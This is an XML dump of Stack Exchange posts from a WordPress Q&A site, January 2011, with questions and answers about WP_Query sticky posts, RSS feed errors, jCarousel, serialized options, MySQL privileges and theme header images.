  <row Id="6432" PostTypeId="2" ParentId="6348" CreationDate="2011-01-06T13:48:57.923" Score="1" ViewCount="" Body="&lt;p&gt;Iulian, from what you write in your question, you're basically looking for a CMS that offers data configuration, editing and presentation out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even WordPress can be used to manage content and build wonderfull things, it does not support such out of the box easily. It does not mean that it is not possible to do that what you ask for, it's just a very individual solution you should find a coder that is programming what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be great if you share the result back here.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:48:57.923" />
  <row Id="6434" PostTypeId="1" AcceptedAnswerId="6435" CreationDate="2011-01-06T14:05:22.850" Score="0" ViewCount="54" Body="&lt;p&gt;The code below writes out a list of the most recent posts. However, it does not appear to be skipping over sticky posts although I'm using 'post_not_in' =&gt; get_option('sticky_posts'). What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$cat=get_cat_ID('top-menu'); &#xA;$catHidden=get_cat_ID('hidden');&#xA;$myquery = new WP_Query();&#xA;$myquery-&amp;gt;query(array(&#xA;    'cat' =&amp;gt; &quot;-$cat,-$catHidden&quot;,&#xA;    'post_not_in' =&amp;gt; get_option('sticky_posts')&#xA;));&#xA;$myrecentpostscount = $myquery-&amp;gt;found_posts;&#xA;&#xA;if ($myrecentpostscount &amp;gt; 0) &#xA;{ ?&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;h4&amp;gt;Recent Posts&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$current_page_recent = get_post( $current_page );&#xA;$myrecentposts = get_posts(array('post_not_in' =&amp;gt; get_option('sticky_posts'), 'cat' =&amp;gt; &quot;-$cat,-$catHidden&quot;,'numberposts' =&amp;gt; $cb2_recent_count));&#xA;foreach($myrecentposts as  $idxrecent=&amp;gt;$post) {&#xA;    ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-06T14:27:31.447" Title="Why do sticky posts show in this menu?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="6435" PostTypeId="2" ParentId="6434" CreationDate="2011-01-06T14:27:31.447" Score="1" ViewCount="" Body="&lt;p&gt;You are lacking a one underscore in parameter, it should be &lt;code&gt;post__not_in&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the better way is to use &lt;code&gt;caller_get_posts&lt;/code&gt; parameter (it will be deprecated and replaced with more aptly named &lt;code&gt;ignore_sticky_posts&lt;/code&gt; in 3.1 that will do same thing) that will keep sticky posts in results if they fit, but will prevent them from jumping to the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Sticky_Post_Parameters&quot; rel=&quot;nofollow&quot;&gt;Sticky Post Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T14:27:31.447" CommentCount="1" />
  <row Id="6436" PostTypeId="1" AcceptedAnswerId="6438" CreationDate="2011-01-06T14:35:58.817" Score="0" ViewCount="125" Body="&lt;p&gt;After I updated my site, I'm not able to get the RSS working.&#xA;I used to get this RSS icon in the address bar in my web browser (opera), but now it's not there any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try accessing the following URL: &lt;a href=&quot;http://www.norwegianfashion.no/feed/&quot; rel=&quot;nofollow&quot;&gt;http://www.norwegianfashion.no/feed/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I only get this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XML parsing failed&#xA;XML parsing failed: syntax error (Line: 3, Character: 0)&#xA;&#xA;  1: &#xA;  2: &#xA;  3: &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;  4: &amp;lt;rss version=&quot;2.0&quot;&#xA;  5:    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;  6:    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Testing it in a &lt;a href=&quot;http://feedvalidator.org/check.cgi?url=http%3a%2f%2fwww.norwegianfashion.no%2ffeed&quot; rel=&quot;nofollow&quot;&gt;feed validator&lt;/a&gt;, is says I have a blank line at the start of the file.&lt;br&gt;&#xA;Clicling he &lt;a href=&quot;http://feedvalidator.org/docs/error/WPBlankLine.html&quot; rel=&quot;nofollow&quot;&gt;help link&lt;/a&gt;, says that Wordpress has a tendency to create empty spaces :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean I have to go through each template file, include file and plugins and remove the &lt;code&gt;?&amp;gt;&lt;/code&gt; at the end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else that could cause my problems?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-01-06T14:48:34.297" LastActivityDate="2011-01-06T14:57:02.570" Title="I'm not able to get RSS feed working. I get 'XML parsing failed'" Tags="&lt;rss&gt;" AnswerCount="1" />
  <row Id="6438" PostTypeId="2" ParentId="6436" CreationDate="2011-01-06T14:49:32.137" Score="2" ViewCount="" Body="&lt;p&gt;You have two separate issues here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feeds are not detected by browser, because information for that is not being output in page body. I believe the current way of adding those links is declaring it in theme with &lt;code&gt;add_theme_support('automatic-feed-links');&lt;/code&gt; in &lt;code&gt;functions.php&lt;/code&gt;, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support#Feed_Links&quot; rel=&quot;nofollow&quot;&gt;Feed Links&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other issue is that something spits out unwanted new lines at the very start of output, both for your feeds and regular pages as well. Usually this is caused by such whitespace outside of &lt;code&gt;&amp;lt;?php ?&amp;gt;&lt;/code&gt; tags somewhere in theme or plugin file, it can be rather hard to track down. &lt;code&gt;functions.php&lt;/code&gt; of theme is always good place to check for this first.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-06T14:57:02.570" LastActivityDate="2011-01-06T14:57:02.570" CommentCount="1" />
  <row Id="6439" PostTypeId="1" CreationDate="2011-01-06T14:57:42.363" Score="-1" ViewCount="290" Body="&lt;p&gt;I am trying to integrate &lt;a href=&quot;http://sorgalla.com/projects/jcarousel/examples/static_circular.html&quot; rel=&quot;nofollow&quot;&gt;jCarousel&lt;/a&gt; with wordpress and custom content types at &lt;a href=&quot;http://waldondigital.com/strausberg/?page_id=203&quot; rel=&quot;nofollow&quot;&gt;This Link&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see by the car images on the right, it's not styling or rotating the images whatsoever. I believe, all the js is in the right place and the CSS isn't being set for the slider. The slider should work with jquery 1.4.2 which is the version that my wordpress theme is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time, it's much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1972" LastActivityDate="2011-01-06T18:18:29.917" Title="jquery carousel not working with wordpress" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;css&gt;&lt;jquery&gt;" AnswerCount="2" />
  <row Id="6442" PostTypeId="1" AcceptedAnswerId="6458" CreationDate="2011-01-06T15:13:08.163" Score="3" ViewCount="463" Body="&lt;p&gt;There are ways to convert color image to &lt;code&gt;black and white&lt;/code&gt; on the client side with javascript. However, it won't work in all browsers and it's slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to convert Wordpress post-thumbnails to &lt;code&gt;black and white&lt;/code&gt; on the &lt;code&gt;server side&lt;/code&gt; automatically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I would like to achieve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Upload a color image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have it displayed in black and white&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On hover change to its original color&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-07-22T15:37:29.493" Title="Black and White thumbnails" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="6443" PostTypeId="2" ParentId="6424" CreationDate="2011-01-06T15:17:25.460" Score="2" ViewCount="" Body="&lt;p&gt;&quot;All privileges&quot; usually means you should grand everything to the user.  However ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found at least &lt;a href=&quot;http://www.jebriggs.com/blog/2009/09/recommended-wordpress-mysql-permissions/&quot; rel=&quot;nofollow&quot;&gt;one article&lt;/a&gt; that claims the MySQL user only needs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SELECT&lt;/li&gt;&#xA;&lt;li&gt;INSERT&lt;/li&gt;&#xA;&lt;li&gt;UPDATE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/wordpress-mysql-permissions?replies=4&quot; rel=&quot;nofollow&quot;&gt;Digging deeper&lt;/a&gt;, I found that in order to operate fully (automated updates, plug-in installation/uninstallation, etc.), WordPress requires some additional permissions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DELETE&lt;/li&gt;&#xA;&lt;li&gt;ALTER (for updates)&lt;/li&gt;&#xA;&lt;li&gt;CREATE TABLE&lt;/li&gt;&#xA;&lt;li&gt;DROP TABLE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, not referenced but it makes sense:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;INDEX&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But those are the only two solid references I can find that are backed up by opinions posted elsewhere.  I'd still encourage you to stick with GRANT ALL, but if you absolutely &lt;em&gt;must&lt;/em&gt; limit your DB use, start with these 7 privileges and &lt;strong&gt;test fully&lt;/strong&gt; to make sure things work as expected.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T15:17:25.460" CommentCount="2" />
  <row Id="6444" PostTypeId="2" ParentId="6442" CreationDate="2011-01-06T15:21:52.600" Score="1" ViewCount="" Body="&lt;p&gt;check that &lt;a href=&quot;http://phpthumb.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://phpthumb.sourceforge.net/&lt;/a&gt; it has some filters that you can use to generate other colour schemes.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-01-06T15:21:52.600" />
  <row Id="6445" PostTypeId="2" ParentId="6439" CreationDate="2011-01-06T15:30:31.997" Score="2" ViewCount="" Body="&lt;p&gt;Some quick observations:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your JavaScript is messed up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's no nice way I can say that.  But you should always start with &lt;code&gt;jQuery.noConflict();&lt;/code&gt; as a method call.  Your page is setting this as a variable (&lt;code&gt;noCon&lt;/code&gt;) and then using it in place of jQuery elsewhere in the script.  It seems to be working, but this is &lt;em&gt;bad practice&lt;/em&gt; and not the way it's supposed to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the &lt;code&gt;jQuery.noConflict()&lt;/code&gt; declaration, then either use &lt;code&gt;jQuery()&lt;/code&gt; as your wrapper or assign it to another variable (i.e. &lt;code&gt;var $j = jQuery;&lt;/code&gt;) and use it as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might actually be what's causing the problem ... I used my browser's JavaScript console to call &lt;code&gt;jQuery.noConflict()&lt;/code&gt; directly, then re-ran your carousel script ... and the page fixed itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Missing References&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Though once the carousel starts up, it can't find some of your resources.  It attempts to load your next/previous buttons from &lt;code&gt;http://waldondigital.com/strausberg/wp-content/themes/strausberg/&lt;/code&gt; and can't find them ...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CSS Styling&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After you get that sorted, you'll have to do some CSS work to get the carousel to work right.  By default, it displays elements in the carousel as 75px x 75px images.  Your photos are larger than that, so you'll need to override the defaults with your own custom CSS.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Wrap-up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So yes, jCarousel works with WordPress, you just don't have it set up quite right:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fix your jQuery coding with the dropdown menu (where you're using &lt;code&gt;noCon()&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Fix your missing image references&lt;/li&gt;&#xA;&lt;li&gt;Set up your custom CSS declaration overrides&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-06T15:30:31.997" CommentCount="5" />
  <row Id="6446" PostTypeId="1" CreationDate="2011-01-06T15:30:58.660" Score="0" ViewCount="127" Body="&lt;p&gt;Currently, my RSS feeds show the entire text from main text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to show parts of my text, preferrably my intro text, so that users have to visit my page to read the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've customized my WP to act more as an CMS. Among the things I've done, is to remove the Excerpt field with &lt;code&gt;remove_meta_box('postexcerpt', 'post', 'normal')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I've added my own meta boxes for intro text (excerpt) and short intro text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, my intro text is not shown and I'm not using &lt;code&gt;the_excerpt_rss()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I use to show my intro text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_intro($attr = null) {&#xA;  $intro = get_intro($attr);&#xA;  echo $intro;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the function &lt;code&gt;get_intro($attr);&lt;/code&gt; is a bigger function to actually retrieve and return intro text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;wp-include/feed.php&lt;/code&gt;, I see they use this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo apply_filters('bloginfo_rss', get_bloginfo_rss($show), $show);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I add this filter to my custom functions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested yet, just in case I break something :)&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-01-06T15:40:33.567" LastActivityDate="2011-01-06T15:44:55.653" Title="How can I control what / how much text is in my RSS feeds?" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6447" PostTypeId="2" ParentId="3982" CreationDate="2011-01-06T15:36:51.567" Score="2" ViewCount="" Body="&lt;p&gt;MathSmath's answer is ok, but it's very inefficient and would not scale to a WordPress site with 100,000+ posts or what have you. Doing a &lt;code&gt;WP_Query()&lt;/code&gt; for 1000 posts is going to be slow enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using a &lt;code&gt;posts_not_it&lt;/code&gt; (which would pass a query long string if you hade several thousand posts here) if you have MySQL 4.1+ it would be better to use a subquery to exclude the posts you don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a slightly modified example I am using on a site with 250,000+ posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add a filter to 'posts_where' to add the subquery&#xA;add_filter( 'posts_where', '_exclude_meta_key_in_posts_where' );    &#xA;&#xA;// make the query, the below function will be called&#xA;query_posts(array('showposts' =&amp;gt; 1000, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC'));&#xA;&#xA;function _exclude_meta_key_in_posts_where( $where ) {&#xA;&#xA;    global $wpdb;&#xA;    return $where . &quot; AND $wpdb-&amp;gt;posts.ID NOT IN ( SELECT DISTINCT post_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key = 'featured_product' AND meta_value &amp;gt; '' )&quot;;&#xA;}&#xA;&#xA;//remove the filter incase we do any more query_posts()s&#xA;remove_filter( 'posts_where', '_exclude_meta_key_in_posts_where' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could probably do it all in one &lt;code&gt;create_function()&lt;/code&gt; though I am not sure if that is very efficient, but would be less lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add a filter to 'posts_where' to add the subquery&#xA;add_filter( 'posts_where', create_function( '$where', 'global $wpdb; return $where . &quot; AND $wpdb-&amp;gt;posts.ID NOT IN ( SELECT DISTINCT post_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key = \'featured_product\' AND meta_value &amp;gt; \'\' )&quot;;' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't test the &lt;code&gt;create_function()&lt;/code&gt; example. &lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-01-06T15:36:51.567" />
  <row Id="6448" PostTypeId="2" ParentId="6446" CreationDate="2011-01-06T15:44:55.653" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-rss2.php&lt;/code&gt; is deprecated. Feeds are currently generated by special templates in &lt;code&gt;wp-includes&lt;/code&gt; folder, namely &lt;code&gt;feed-rss2.php&lt;/code&gt; for RSS 2.0. Of course they shouldn't be edited just as well, only mentioning this for context of where you need to look for template details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;the_excerpt_rss()&lt;/code&gt; function passes it's output through filter of same name &lt;code&gt;the_excerpt_rss&lt;/code&gt;. You can use this filter to replace native excerpt with whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_excerpt_rss', 'custom_excerpt_rss' );&#xA;&#xA;function custom_excerpt_rss( $output ) {&#xA;&#xA;    return 'something to replace excerpt with';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I am not sure from your description if your feed is set to show excerpts in &lt;code&gt;Settings &amp;gt; Reading&lt;/code&gt;. Depending on that you might need to use &lt;code&gt;the_content_feed&lt;/code&gt; filter instead.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T15:44:55.653" CommentCount="1" />
  <row Id="6449" PostTypeId="1" CreationDate="2011-01-06T15:47:13.513" Score="0" ViewCount="512" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3708/custom-taxonomy-wp-query-for-all-terms-in-a-taxonomy&quot;&gt;Custom Taxonomy WP_Query for All Terms in a Taxonomy?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi. Simple little problem (I hope). I'm trying to filter posts by a specific custom post type in a specific taxonomy, but it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, it's getting posts from the custom post type but from all taxonomies instead of just the one. FYI, taxonomies are being used like categories for this post type, not like tags (hierarichal = true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'slideshow-blog' is the taxonomies slug. I've also tried using its name ('Slideshow Blog'), but same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code. Can anyone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $query = array('post_type' =&amp;gt; 'slides', 'taxonomy' =&amp;gt; 'slideshow-blog');&#xA;&amp;lt;?php $slides = new WP_Query( $query ); ?&amp;gt;&#xA;        &amp;lt;?php while ($slides-&amp;gt;have_posts()) : $slides-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_bloginfo('template_url'); ?&amp;gt;/lib/timthumb/timthumb.php?src=&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_slide', true); ?&amp;gt;&amp;amp;h=380&amp;amp;w=940&amp;amp;zc=1&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-01-06T15:47:13.513" ClosedDate="2011-05-31T22:45:33.003" Title="query posts by custom post type &amp; taxonomy" Tags="&lt;taxonomy&gt;&lt;query&gt;&lt;customization&gt;" CommentCount="3" />
  <row Id="6450" PostTypeId="2" ParentId="6348" CreationDate="2011-01-06T15:58:28.173" Score="1" ViewCount="" Body="&lt;p&gt;I do not think that I will find a solution to this soon.&#xA;The only thing that i managed to make until now, it`s this metabox. So basically, i will just need that &lt;strong&gt;Add new laptop&lt;/strong&gt; button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/SmCO5.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2292" LastActivityDate="2011-01-06T15:58:28.173" CommentCount="1" />
  <row Id="6451" PostTypeId="1" AcceptedAnswerId="6452" CreationDate="2011-01-06T16:03:47.667" Score="0" ViewCount="100" Body="&lt;p&gt;I'm checking out how a particular plugin works and noticed that it stores its data for option_value in wp_options in this array format...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a:2:{i:20;a:2:{s:8:&quot;original&quot;;s:15:&quot;20.original.jpg&quot;;s:9:&quot;thumbnail&quot;;s:12:&quot;20.thumb.jpg&quot;;}i:8;a:2:{s:8:&quot;original&quot;;s:14:&quot;8.original.png&quot;;s:9:&quot;thumbnail&quot;;s:11:&quot;8.thumb.png&quot;;}}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like this method, since it only uses a single row to hold my custom data, uninstall cleanup is easy. Is there a standard way to do a get/set operation on a custom field that results in this syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Thanks to Denis and the others who've added responses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an excellent tutorial on this method in case anyone else has this question &gt; &lt;a href=&quot;http://striderweb.com/nerdaphernalia/2008/07/consolidate-options-with-arrays/&quot; rel=&quot;nofollow&quot;&gt;http://striderweb.com/nerdaphernalia/2008/07/consolidate-options-with-arrays/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-06T16:37:28.977" LastActivityDate="2011-01-06T16:37:28.977" Title="How do you store options with a:n:{{}} syntax in wp_options?" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="6452" PostTypeId="2" ParentId="6451" CreationDate="2011-01-06T16:05:53.343" Score="4" ViewCount="" Body="&lt;p&gt;Just pass an array when updating your option. It'll then get serialized automatically.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-06T16:05:53.343" CommentCount="2" />
  <row Id="6453" PostTypeId="2" ParentId="6451" CreationDate="2011-01-06T16:09:30.710" Score="1" ViewCount="" Body="&lt;p&gt;The serialization is done automatically, but if you want to know how to do this manually the function to look at is called &lt;a href=&quot;http://php.net/manual/en/function.serialize.php&quot; rel=&quot;nofollow&quot;&gt;serialize()&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-06T16:09:30.710" />
  <row Id="6454" PostTypeId="2" ParentId="6424" CreationDate="2011-01-06T16:09:44.150" Score="2" ViewCount="" Body="&lt;p&gt;The others are not needed as you point out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, what you could do is, conditionally set the user/pass based on the requested page. As in unprivileged with select/insert/update/delete for normal usage, and privileged with definition/index related stuff in addition when visiting the upgrade page.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-06T16:09:44.150" />
  <row Id="6455" PostTypeId="2" ParentId="6451" CreationDate="2011-01-06T16:26:14.697" Score="1" ViewCount="" Body="&lt;p&gt;As per other answers (un)serialization is performed automatically on more complex data formats (arrays, objects) when options are stored or retrieved. This also applies to transients and other functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically this is performed by internal usage &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/maybe_serialize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;maybe_serialize()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/maybe_unserialize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;maybe_unserialize()&lt;/code&gt;&lt;/a&gt; functions that try to determine if data needs to be processed or passed as is.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-06T16:26:14.697" />
  <row Id="6456" PostTypeId="2" ParentId="5232" CreationDate="2011-01-06T16:50:08.523" Score="0" ViewCount="" Body="&lt;p&gt;Based on Cronco's answer and a lot of experimentation (I'm neither familiar with PHP nor with the inner workings of wordpress itself) and some cleanup, I found a solution that perfectly satisfies my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the theme TwentyTen, I edited its header.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // Check if this is a post or page, if it has a thumbnail, and if it's a big one&#xA;    if ( is_singular() &amp;amp;&amp;amp;&#xA;            has_post_thumbnail( $post-&amp;gt;ID ) &amp;amp;&amp;amp;&#xA;            ( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'post-thumbnail' ) ) &amp;amp;&amp;amp;&#xA;            $image[1] &amp;gt;= HEADER_IMAGE_WIDTH ) :&#xA;        // Houston, we have a new header image!&#xA;        echo get_the_post_thumbnail( $post-&amp;gt;ID, 'post-thumbnail' );&#xA;    else : ?&amp;gt;&#xA;&#xA;        &amp;lt;!-- patch mafu begin --&amp;gt;&#xA;        &amp;lt;?php&#xA;        $headers = glob( get_template_directory() . '/banners/*.jpg' );&#xA;        $header = (int)date('z') % count($headers);&#xA;        ?&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri() . '/banners/' . basename($headers[$header]); ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo HEADER_IMAGE_WIDTH; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo HEADER_IMAGE_HEIGHT; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;!-- patch mafu end --&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If no specific image is set for the displayed page (this is specific to this theme), then a header image is chosen based on the current day from all jpg images in the &lt;code&gt;theme_directory/banners&lt;/code&gt; folder, which has to be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to randomize the image order more, but apparently this is not possible in an easy way, so I went with fixed order.&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2011-01-06T16:50:08.523" />
  <row Id="6457" PostTypeId="2" ParentId="6348" CreationDate="2011-01-06T16:53:02.953" Score="1" ViewCount="" Body="&lt;p&gt;You'll probably want to take a look at this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't provide the UI you want, but at least you have the underlying data structure handled.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-06T16:53:02.953" />
